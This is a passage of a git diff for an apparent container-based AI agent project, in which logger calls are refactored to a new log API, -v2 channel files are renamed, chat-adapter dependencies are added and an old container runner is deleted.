"sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", @@ -4786,6 +8696,15 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/zod": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, "node_modules/zwitch": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", diff --git a/package.json b/package.json index 91bbfbb..1997774 100644 --- a/package.json +++ b/package.json @@ -21,11 +21,22 @@ "test:watch": "vitest" }, "dependencies": { + "@beeper/chat-adapter-matrix": "^0.2.0", + "@bitbasti/chat-adapter-webex": "^0.1.0", "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/gchat": "^4.24.0", + "@chat-adapter/github": "^4.24.0", + "@chat-adapter/linear": "^4.24.0", + "@chat-adapter/slack": "^4.24.0", "@chat-adapter/state-memory": "^4.24.0", + "@chat-adapter/teams": "^4.24.0", + "@chat-adapter/telegram": "^4.24.0", + "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", + "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", + "chat-adapter-imessage": "^0.1.1", "cron-parser": "5.5.0" }, "devDependencies": { diff --git a/setup/container.ts b/setup/container.ts index cc44350..100a884 100644 --- a/setup/container.ts +++ b/setup/container.ts @@ -5,7 +5,7 @@ import { execSync } from 'child_process'; import path from 'path'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { commandExists } from './platform.js'; import { emitStatus } from './status.js'; @@ -101,31 +101,31 @@ export async function run(args: string[]): Promise { // Build let buildOk = false; - logger.info({ runtime }, 'Building container'); + log.info('Building container', { runtime }); try { execSync(`${buildCmd} -t ${image} .`, { cwd: path.join(projectRoot, 'container'), stdio: ['ignore', 'pipe', 'pipe'], }); buildOk = true; - logger.info('Container build succeeded'); + log.info('Container build succeeded'); } catch (err) { - logger.error({ err }, 'Container build failed'); + log.error('Container build failed', { err }); } // Test let testOk = false; if (buildOk) { - logger.info('Testing container'); + log.info('Testing container'); try { const output = execSync( `echo '{}' | ${runCmd} run -i --rm --entrypoint /bin/echo ${image} "Container OK"`, { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }, ); testOk = output.includes('Container OK'); - logger.info({ testOk }, 'Container test result'); + log.info('Container test result', { testOk }); } catch { - logger.error('Container test failed'); + log.error('Container test failed'); } } diff --git a/setup/environment.ts b/setup/environment.ts index b9814ee..66f6fd0 100644 --- a/setup/environment.ts +++ b/setup/environment.ts @@ -8,14 +8,14 @@ import path from 'path'; import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { commandExists, getPlatform, isHeadless, isWSL } from './platform.js'; import { emitStatus } from './status.js'; export async function run(_args: string[]): Promise { const projectRoot = process.cwd(); - logger.info('Starting environment check'); + log.info('Starting environment check'); const platform = getPlatform(); const wsl = isWSL(); @@ -66,7 +66,8 @@ export async function run(_args: string[]): Promise { } } - logger.info( + log.info( + 'Environment check complete', { platform, wsl, @@ -76,7 +77,6 @@ export async function run(_args: string[]): Promise { hasAuth, hasRegisteredGroups, }, - 'Environment check complete', ); emitStatus('CHECK_ENVIRONMENT', { diff --git a/setup/groups.ts b/setup/groups.ts index 6697029..208bd75 100644 --- a/setup/groups.ts +++ b/setup/groups.ts @@ -11,7 +11,7 @@ import path from 'path'; import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; function parseArgs(args: string[]): { list: boolean; limit: number } { @@ -71,7 +71,7 @@ async function syncGroups(projectRoot: string): Promise { fs.existsSync(authDir) && fs.readdirSync(authDir).length > 0; if (!hasWhatsAppAuth) { - logger.info('WhatsApp auth not found — skipping group sync'); + log.info('WhatsApp auth not found — skipping group sync'); emitStatus('SYNC_GROUPS', { BUILD: 'skipped', SYNC: 'skipped', @@ -84,7 +84,7 @@ async function syncGroups(projectRoot: string): Promise { } // Build TypeScript first - logger.info('Building TypeScript'); + log.info('Building TypeScript'); let buildOk = false; try { execSync('npm run build', { @@ -92,9 +92,9 @@ async function syncGroups(projectRoot: string): Promise { stdio: ['ignore', 'pipe', 'pipe'], }); buildOk = true; - logger.info('Build succeeded'); + log.info('Build succeeded'); } catch { - logger.error('Build failed'); + log.error('Build failed'); emitStatus('SYNC_GROUPS', { BUILD: 'failed', SYNC: 'skipped', @@ -107,7 +107,7 @@ async function syncGroups(projectRoot: string): Promise { } // Run sync script via a temp file to avoid shell escaping issues with node -e - logger.info('Fetching group metadata'); + log.info('Fetching group metadata'); let syncOk = false; try { const syncScript = ` @@ -189,12 +189,12 @@ sock.ev.on('connection.update', async (update) => { stdio: ['ignore', 'pipe', 'pipe'], }); syncOk = output.includes('SYNCED:'); - logger.info({ output: output.trim() }, 'Sync output'); + log.info('Sync output', { output: output.trim() }); } finally { try { fs.unlinkSync(tmpScript); } catch { /* ignore cleanup errors */ } } } catch (err) { - logger.error({ err }, 'Sync failed'); + log.error('Sync failed', { err }); } // Count groups in DB using better-sqlite3 (no sqlite3 CLI) diff --git a/setup/index.ts b/setup/index.ts index 7e10ddc..9975022 100644 --- a/setup/index.ts +++ b/setup/index.ts @@ -2,7 +2,7 @@ * Setup CLI entry point. * Usage: npx tsx setup/index.ts --step [args...] */ -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; const STEPS: Record< @@ -47,7 +47,7 @@ async function main(): Promise { await mod.run(stepArgs); } catch (err) { const message = err instanceof Error ? err.message : String(err); - logger.error({ err, step: stepName }, 'Setup step failed'); + log.error('Setup step failed', { err, step: stepName }); emitStatus(stepName.toUpperCase(), { STATUS: 'failed', ERROR: message, diff --git a/setup/mounts.ts b/setup/mounts.ts index e14d23b..a456175 100644 --- a/setup/mounts.ts +++ b/setup/mounts.ts @@ -6,7 +6,7 @@ import fs from 'fs'; import path from 'path'; import os from 'os'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { isRoot } from './platform.js'; import { emitStatus } from './status.js'; @@ -32,7 +32,7 @@ export async function run(args: string[]): Promise { const configFile = path.join(configDir, 'mount-allowlist.json'); if (isRoot()) { - logger.warn( + log.warn( 'Running as root — mount allowlist will be written to root home directory', ); } @@ -40,9 +40,9 @@ export async function run(args: string[]): Promise { fs.mkdirSync(configDir, { recursive: true }); if (fs.existsSync(configFile) && !force) { - logger.info( - { configFile }, + log.info( 'Mount allowlist already exists — skipping (use --force to overwrite)', + { configFile }, ); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, @@ -58,7 +58,7 @@ export async function run(args: string[]): Promise { let nonMainReadOnly = 'true'; if (empty) { - logger.info('Writing empty mount allowlist'); + log.info('Writing empty mount allowlist'); const emptyConfig = { allowedRoots: [], blockedPatterns: [], @@ -71,7 +71,7 @@ export async function run(args: string[]): Promise { try { parsed = JSON.parse(json); } catch { - logger.error('Invalid JSON input'); + log.error('Invalid JSON input'); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, ALLOWED_ROOTS: 0, @@ -91,13 +91,13 @@ export async function run(args: string[]): Promise { nonMainReadOnly = parsed.nonMainReadOnly === false ? 'false' : 'true'; } else { // Read from stdin - logger.info('Reading mount allowlist from stdin'); + log.info('Reading mount allowlist from stdin'); const input = fs.readFileSync(0, 'utf-8'); let parsed: { allowedRoots?: unknown[]; nonMainReadOnly?: boolean }; try { parsed = JSON.parse(input); } catch { - logger.error('Invalid JSON from stdin'); + log.error('Invalid JSON from stdin'); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, ALLOWED_ROOTS: 0, @@ -117,9 +117,9 @@ export async function run(args: string[]): Promise { nonMainReadOnly = parsed.nonMainReadOnly === false ? 'false' : 'true'; } - logger.info( - { configFile, allowedRoots, nonMainReadOnly }, + log.info( 'Allowlist configured', + { configFile, allowedRoots, nonMainReadOnly }, ); emitStatus('CONFIGURE_MOUNTS', { diff --git a/setup/register.ts b/setup/register.ts index c08d910..ee7854e 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -8,9 +8,9 @@ import fs from 'fs'; import path from 'path'; import { STORE_DIR } from '../src/config.ts'; -import { initDatabase, setRegisteredGroup } from '../src/db.ts'; +import { initDatabase, setRegisteredGroup } from '../src/v1/db.ts'; import { isValidGroupFolder } from '../src/group-folder.ts'; -import { logger } from '../src/logger.ts'; +import { log } from '../src/log.js'; import { emitStatus } from './status.ts'; interface RegisterArgs { @@ -90,7 +90,7 @@ export async function run(args: string[]): Promise { process.exit(4); } - logger.info(parsed, 'Registering channel'); + log.info('Registering channel', parsed); // Ensure data and store directories exist (store/ may not exist on // fresh installs that skip WhatsApp auth, which normally creates it) @@ -109,7 +109,7 @@ export async function run(args: string[]): Promise { isMain: parsed.isMain, }); - logger.info('Wrote registration to SQLite'); + log.info('Wrote registration to SQLite'); // Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { @@ -133,9 +133,9 @@ export async function run(args: string[]): Promise { : path.join(projectRoot, 'groups', 'global', 'CLAUDE.md'); if (fs.existsSync(templatePath)) { fs.copyFileSync(templatePath, groupClaudeMdPath); - logger.info( - { file: groupClaudeMdPath, template: templatePath }, + log.info( 'Created CLAUDE.md from template', + { file: groupClaudeMdPath, template: templatePath }, ); } } @@ -143,9 +143,9 @@ export async function run(args: string[]): Promise { // Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { - logger.info( - { from: 'Andy', to: parsed.assistantName }, + log.info( 'Updating assistant name', + { from: 'Andy', to: parsed.assistantName }, ); const groupsDir = path.join(projectRoot, 'groups'); @@ -163,7 +163,7 @@ export async function run(args: string[]): Promise { `You are ${parsed.assistantName}`, ); fs.writeFileSync(mdFile, content); - logger.info({ file: mdFile }, 'Updated CLAUDE.md'); + log.info('Updated CLAUDE.md', { file: mdFile }); } } @@ -183,7 +183,7 @@ export async function run(args: string[]): Promise { } else { fs.writeFileSync(envFile, `ASSISTANT_NAME="${parsed.assistantName}"\n`); } - logger.info('Set ASSISTANT_NAME in .env'); + log.info('Set ASSISTANT_NAME in .env'); nameUpdated = true; } diff --git a/setup/service.ts b/setup/service.ts index c385267..9fd14d2 100644 --- a/setup/service.ts +++ b/setup/service.ts @@ -9,7 +9,7 @@ import fs from 'fs'; import os from 'os'; import path from 'path'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { getPlatform, getNodePath, @@ -26,18 +26,18 @@ export async function run(_args: string[]): Promise { const nodePath = getNodePath(); const homeDir = os.homedir(); - logger.info({ platform, nodePath, projectRoot }, 'Setting up service'); + log.info('Setting up service', { platform, nodePath, projectRoot }); // Build first - logger.info('Building TypeScript'); + log.info('Building TypeScript'); try { execSync('npm run build', { cwd: projectRoot, stdio: ['ignore', 'pipe', 'pipe'], }); - logger.info('Build succeeded'); + log.info('Build succeeded'); } catch { - logger.error('Build failed'); + log.error('Build failed'); emitStatus('SETUP_SERVICE', { SERVICE_TYPE: 'unknown', NODE_PATH: nodePath, @@ -113,15 +113,15 @@ function setupLaunchd( `; fs.writeFileSync(plistPath, plist); - logger.info({ plistPath }, 'Wrote launchd plist'); + log.info('Wrote launchd plist', { plistPath }); try { execSync(`launchctl load ${JSON.stringify(plistPath)}`, { stdio: 'ignore', }); - logger.info('launchctl load succeeded'); + log.info('launchctl load succeeded'); } catch { - logger.warn('launchctl load failed (may already be loaded)'); + log.warn('launchctl load failed (may already be loaded)'); } // Verify @@ -168,7 +168,7 @@ function killOrphanedProcesses(projectRoot: string): void { execSync(`pkill -f '${projectRoot}/dist/index\\.js' || true`, { stdio: 'ignore', }); - logger.info('Stopped any orphaned nanoclaw processes'); + log.info('Stopped any orphaned nanoclaw processes'); } catch { // pkill not available or no orphans } @@ -215,13 +215,13 @@ function setupSystemd( if (runningAsRoot) { unitPath = '/etc/systemd/system/nanoclaw.service'; systemctlPrefix = 'systemctl'; - logger.info('Running as root — installing system-level systemd unit'); + log.info('Running as root — installing system-level systemd unit'); } else { // Check if user-level systemd session is available try { execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); } catch { - logger.warn( + log.warn( 'systemd user session not available — falling back to nohup wrapper', ); setupNohupFallback(projectRoot, nodePath, homeDir); @@ -253,12 +253,12 @@ StandardError=append:${projectRoot}/logs/nanoclaw.error.log WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; fs.writeFileSync(unitPath, unit); - logger.info({ unitPath }, 'Wrote systemd unit'); + log.info('Wrote systemd unit', { unitPath }); // Detect stale docker group before starting (user systemd only) const dockerGroupStale = !runningAsRoot && checkDockerGroupStale(); if (dockerGroupStale) { - logger.warn( + log.warn( 'Docker group not active in systemd session — user was likely added to docker group mid-session', ); } @@ -271,11 +271,11 @@ WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; if (!runningAsRoot) { try { execSync('loginctl enable-linger', { stdio: 'ignore' }); - logger.info('Enabled loginctl linger for current user'); + log.info('Enabled loginctl linger for current user'); } catch (err) { - logger.warn( - { err }, + log.warn( 'loginctl enable-linger failed — service may stop on SSH logout', + { err }, ); } } @@ -284,19 +284,19 @@ WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; try { execSync(`${systemctlPrefix} daemon-reload`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl daemon-reload failed'); + log.error('systemctl daemon-reload failed', { err }); } try { execSync(`${systemctlPrefix} enable nanoclaw`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl enable failed'); + log.error('systemctl enable failed', { err }); } try { execSync(`${systemctlPrefix} start nanoclaw`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl start failed'); + log.error('systemctl start failed', { err }); } // Verify @@ -326,7 +326,7 @@ function setupNohupFallback( nodePath: string, homeDir: string, ): void { - logger.warn('No systemd detected — generating nohup wrapper script'); + log.warn('No systemd detected — generating nohup wrapper script'); const wrapperPath = path.join(projectRoot, 'start-nanoclaw.sh'); const pidFile = path.join(projectRoot, 'nanoclaw.pid'); @@ -362,7 +362,7 @@ function setupNohupFallback( const wrapper = lines.join('\n') + '\n'; fs.writeFileSync(wrapperPath, wrapper, { mode: 0o755 }); - logger.info({ wrapperPath }, 'Wrote nohup wrapper script'); + log.info('Wrote nohup wrapper script', { wrapperPath }); emitStatus('SETUP_SERVICE', { SERVICE_TYPE: 'nohup', diff --git a/setup/timezone.ts b/setup/timezone.ts index 22c0394..18b1443 100644 --- a/setup/timezone.ts +++ b/setup/timezone.ts @@ -7,7 +7,7 @@ import fs from 'fs'; import path from 'path'; import { isValidTimezone } from '../src/timezone.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; export async function run(args: string[]): Promise { @@ -53,7 +53,7 @@ export async function run(args: string[]): Promise { } else { fs.writeFileSync(envFile, `TZ=${resolvedTz}\n`); } - logger.info({ timezone: resolvedTz }, 'Set TZ in .env'); + log.info('Set TZ in .env', { timezone: resolvedTz }); } emitStatus('TIMEZONE', { diff --git a/setup/verify.ts b/setup/verify.ts index e039e52..6b2077a 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -13,7 +13,7 @@ import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; import { readEnvFile } from '../src/env.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { getPlatform, getServiceManager, @@ -27,7 +27,7 @@ export async function run(_args: string[]): Promise { const platform = getPlatform(); const homeDir = os.homedir(); - logger.info('Starting verification'); + log.info('Starting verification'); // 1. Check service status let service = 'not_found'; @@ -80,7 +80,7 @@ export async function run(_args: string[]): Promise { } } } - logger.info({ service }, 'Service status'); + log.info('Service status', { service }); // 2. Check container runtime let containerRuntime = 'none'; @@ -174,7 +174,7 @@ export async function run(_args: string[]): Promise { ? 'success' : 'failed'; - logger.info({ status, channelAuth }, 'Verification complete'); + log.info('Verification complete', { status, channelAuth }); emitStatus('VERIFY', { SERVICE: service, diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 1903791..d5d0fa0 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -8,7 +8,7 @@ import fs from 'fs'; import type { ChannelAdapter, ChannelSetup, InboundMessage, OutboundMessage } from './adapter.js'; // Mock container runner -vi.mock('../container-runner-v2.js', () => ({ +vi.mock('../container-runner.js', () => ({ wakeContainer: vi.fn().mockResolvedValue(undefined), resetContainerIdleTimer: vi.fn(), isContainerRunning: vi.fn().mockReturnValue(false), @@ -160,7 +160,7 @@ describe('channel + router integration', () => { }); it('should route inbound message from adapter to session DB', async () => { - const { routeInbound } = await import('../router-v2.js'); + const { routeInbound } = await import('../router.js'); const { findSession } = await import('../db/sessions.js'); const { sessionDbPath } = await import('../session-manager.js'); @@ -209,7 +209,7 @@ describe('channel + router integration', () => { onAction: () => {}, })); - // Set up delivery adapter bridge (same pattern as index-v2.ts) + // Set up delivery adapter bridge (same pattern as index.ts) setDeliveryAdapter({ async deliver(channelType, platformId, threadId, kind, content) { const adapter = getChannelAdapter(channelType); diff --git a/src/channels/discord-v2.ts b/src/channels/discord.ts similarity index 100% rename from src/channels/discord-v2.ts rename to src/channels/discord.ts diff --git a/src/channels/gchat-v2.ts b/src/channels/gchat.ts similarity index 100% rename from src/channels/gchat-v2.ts rename to src/channels/gchat.ts diff --git a/src/channels/github-v2.ts b/src/channels/github.ts similarity index 100% rename from src/channels/github-v2.ts rename to src/channels/github.ts diff --git a/src/channels/imessage-v2.ts b/src/channels/imessage.ts similarity index 90% rename from src/channels/imessage-v2.ts rename to src/channels/imessage.ts index a31a76d..8ab4215 100644 --- a/src/channels/imessage-v2.ts +++ b/src/channels/imessage.ts @@ -20,6 +20,6 @@ registerChannelAdapter('imessage', { serverUrl: env.IMESSAGE_SERVER_URL, apiKey: env.IMESSAGE_API_KEY, }); - return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: imessageAdapter as never, concurrency: 'concurrent' }); }, }); diff --git a/src/channels/index.ts b/src/channels/index.ts index bad8090..4b3b125 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -2,40 +2,40 @@ // Each import triggers the channel module's registerChannelAdapter() call. // discord -// import './discord-v2.js'; +// import './discord.js'; // slack -// import './slack-v2.js'; +// import './slack.js'; // telegram -// import './telegram-v2.js'; +// import './telegram.js'; // github -// import './github-v2.js'; +// import './github.js'; // linear -// import './linear-v2.js'; +// import './linear.js'; // google chat -// import './gchat-v2.js'; +// import './gchat.js'; // microsoft teams -// import './teams-v2.js'; +// import './teams.js'; // whatsapp cloud api -// import './whatsapp-cloud-v2.js'; +// import './whatsapp-cloud.js'; // resend (email) -// import './resend-v2.js'; +// import './resend.js'; // matrix -// import './matrix-v2.js'; +// import './matrix.js'; // webex -// import './webex-v2.js'; +// import './webex.js'; // imessage -// import './imessage-v2.js'; +// import './imessage.js'; // gmail (native, no Chat SDK) diff --git a/src/channels/linear-v2.ts b/src/channels/linear.ts similarity index 100% rename from src/channels/linear-v2.ts rename to src/channels/linear.ts diff --git a/src/channels/matrix-v2.ts b/src/channels/matrix.ts similarity index 100% rename from src/channels/matrix-v2.ts rename to src/channels/matrix.ts diff --git a/src/channels/resend-v2.ts b/src/channels/resend.ts similarity index 100% rename from src/channels/resend-v2.ts rename to src/channels/resend.ts diff --git a/src/channels/slack-v2.ts b/src/channels/slack.ts similarity index 100% rename from src/channels/slack-v2.ts rename to src/channels/slack.ts diff --git a/src/channels/teams-v2.ts b/src/channels/teams.ts similarity index 100% rename from src/channels/teams-v2.ts rename to src/channels/teams.ts diff --git a/src/channels/telegram-v2.ts b/src/channels/telegram.ts similarity index 100% rename from src/channels/telegram-v2.ts rename to src/channels/telegram.ts diff --git a/src/channels/webex-v2.ts b/src/channels/webex.ts similarity index 100% rename from src/channels/webex-v2.ts rename to src/channels/webex.ts diff --git a/src/channels/whatsapp-cloud-v2.ts b/src/channels/whatsapp-cloud.ts similarity index 84% rename from src/channels/whatsapp-cloud-v2.ts rename to src/channels/whatsapp-cloud.ts index 74b8160..e56eb99 100644 --- a/src/channels/whatsapp-cloud-v2.ts +++ b/src/channels/whatsapp-cloud.ts @@ -11,7 +11,12 @@ import { registerChannelAdapter } from './channel-registry.js'; registerChannelAdapter('whatsapp-cloud', { factory: () => { - const env = readEnvFile(['WHATSAPP_ACCESS_TOKEN', 'WHATSAPP_PHONE_NUMBER_ID', 'WHATSAPP_APP_SECRET', 'WHATSAPP_VERIFY_TOKEN']); + const env = readEnvFile([ + 'WHATSAPP_ACCESS_TOKEN', + 'WHATSAPP_PHONE_NUMBER_ID', + 'WHATSAPP_APP_SECRET', + 'WHATSAPP_VERIFY_TOKEN', + ]); if (!env.WHATSAPP_ACCESS_TOKEN) return null; const whatsappAdapter = createWhatsAppAdapter({ accessToken: env.WHATSAPP_ACCESS_TOKEN, diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts deleted file mode 100644 index 81bbd50..0000000 --- a/src/container-runner-v2.ts +++ /dev/null @@ -1,277 +0,0 @@ -/** - * Container Runner v2 - * Spawns agent containers with session folder + agent group folder mounts. - * The container runs the v2 agent-runner which polls the session DB. - */ -import { ChildProcess, spawn } from 'child_process'; -import fs from 'fs'; -import path from 'path'; - -import { OneCLI } from '@onecli-sh/sdk'; - -import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; -import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; -import { getAgentGroup } from './db/agent-groups.js'; -import { getMessagingGroup } from './db/messaging-groups.js'; -import { log } from './log.js'; -import { validateAdditionalMounts } from './mount-security.js'; -import { - markContainerIdle, - markContainerRunning, - markContainerStopped, - sessionDbPath, - sessionDir, -} from './session-manager.js'; -import type { AgentGroup, Session } from './types-v2.js'; - -const onecli = new OneCLI({ url: ONECLI_URL }); - -interface VolumeMount { - hostPath: string; - containerPath: string; - readonly: boolean; -} - -/** Active containers tracked by session ID. */ -const activeContainers = new Map(); - -export function getActiveContainerCount(): number { - return activeContainers.size; -} - -export function isContainerRunning(sessionId: string): boolean { - return activeContainers.has(sessionId); -} - -/** - * Wake up a container for a session. If already running, no-op. - * The container runs the v2 agent-runner which polls the session DB. - */ -export async function wakeContainer(session: Session): Promise { - if (activeContainers.has(session.id)) { - log.debug('Container already running', { sessionId: session.id }); - return; - } - - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - log.error('Agent group not found', { agentGroupId: session.agent_group_id }); - return; - } - - const mounts = buildMounts(agentGroup, session); - const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; - const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); - const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); - - log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); - - const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); - - activeContainers.set(session.id, { process: container, containerName }); - markContainerRunning(session.id); - - // Log stderr - container.stderr?.on('data', (data) => { - for (const line of data.toString().trim().split('\n')) { - if (line) log.debug(line, { container: agentGroup.folder }); - } - }); - - // stdout is unused in v2 (all IO is via session DB) - container.stdout?.on('data', () => {}); - - // Idle timeout: kill container after IDLE_TIMEOUT of no activity - let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); - - const resetIdle = () => { - clearTimeout(idleTimer); - idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); - }; - - // Reset idle timer when the host detects new messages_out (called by delivery.ts) - const entry = activeContainers.get(session.id); - if (entry) { - (entry as { resetIdle?: () => void }).resetIdle = resetIdle; - } - - container.on('close', (code) => { - clearTimeout(idleTimer); - activeContainers.delete(session.id); - markContainerStopped(session.id); - log.info('Container exited', { sessionId: session.id, code, containerName }); - }); - - container.on('error', (err) => { - clearTimeout(idleTimer); - activeContainers.delete(session.id); - markContainerStopped(session.id); - log.error('Container spawn error', { sessionId: session.id, err }); - }); -} - -/** Reset the idle timer for a session's container (called when messages_out are delivered). */ -export function resetContainerIdleTimer(sessionId: string): void { - const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; - entry?.resetIdle?.(); -} - -/** Kill a container for a session. */ -export function killContainer(sessionId: string, reason: string): void { - const entry = activeContainers.get(sessionId); - if (!entry) return; - - log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); - try { - stopContainer(entry.containerName); - } catch { - entry.process.kill('SIGKILL'); - } -} - -function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { - const mounts: VolumeMount[] = []; - const projectRoot = process.cwd(); - const sessDir = sessionDir(agentGroup.id, session.id); - const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); - - // Session folder at /workspace (contains session.db, outbox/, .claude/) - mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); - - // Agent group folder at /workspace/agent - fs.mkdirSync(groupDir, { recursive: true }); - mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); - - // Global memory directory - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); - } - - // Claude sessions directory (per agent group, shared across sessions) - const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); - fs.mkdirSync(claudeDir, { recursive: true }); - const settingsFile = path.join(claudeDir, 'settings.json'); - if (!fs.existsSync(settingsFile)) { - fs.writeFileSync( - settingsFile, - JSON.stringify( - { - env: { - CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', - }, - }, - null, - 2, - ) + '\n', - ); - } - - // Sync container skills - const skillsSrc = path.join(projectRoot, 'container', 'skills'); - const skillsDst = path.join(claudeDir, 'skills'); - if (fs.existsSync(skillsSrc)) { - for (const skillDir of fs.readdirSync(skillsSrc)) { - const srcDir = path.join(skillsSrc, skillDir); - if (fs.statSync(srcDir).isDirectory()) { - fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); - } - } - } - mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - - // Agent-runner source (per agent group, recompiled on container startup) - const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); - const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); - if (fs.existsSync(agentRunnerSrc)) { - // Always copy — source files may have changed beyond just the index - fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); - } - mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); - - // Admin: mount project root read-only - if (agentGroup.is_admin) { - mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); - const envFile = path.join(projectRoot, '.env'); - if (fs.existsSync(envFile)) { - mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); - } - } - - // Additional mounts from container config - const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (containerConfig.additionalMounts) { - const validated = validateAdditionalMounts( - containerConfig.additionalMounts, - agentGroup.name, - !!agentGroup.is_admin, - ); - mounts.push(...validated); - } - - return mounts; -} - -async function buildContainerArgs( - mounts: VolumeMount[], - containerName: string, - session: Session, - agentGroup: AgentGroup, - agentIdentifier?: string, -): Promise { - const args: string[] = ['run', '--rm', '--name', containerName]; - - // Environment - args.push('-e', `TZ=${TIMEZONE}`); - args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); - args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); - - // Pass admin user ID and assistant name from messaging group/agent group - if (session.messaging_group_id) { - const mg = getMessagingGroup(session.messaging_group_id); - if (mg?.admin_user_id) { - args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); - } - } - if (agentGroup.name) { - args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); - } - - // OneCLI gateway - const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); - if (onecliApplied) { - log.debug('OneCLI gateway applied', { containerName }); - } - - // Host gateway - args.push(...hostGatewayArgs()); - - // User mapping - const hostUid = process.getuid?.(); - const hostGid = process.getgid?.(); - if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { - args.push('--user', `${hostUid}:${hostGid}`); - args.push('-e', 'HOME=/home/node'); - } - - // Volume mounts - for (const mount of mounts) { - if (mount.readonly) { - args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); - } else { - 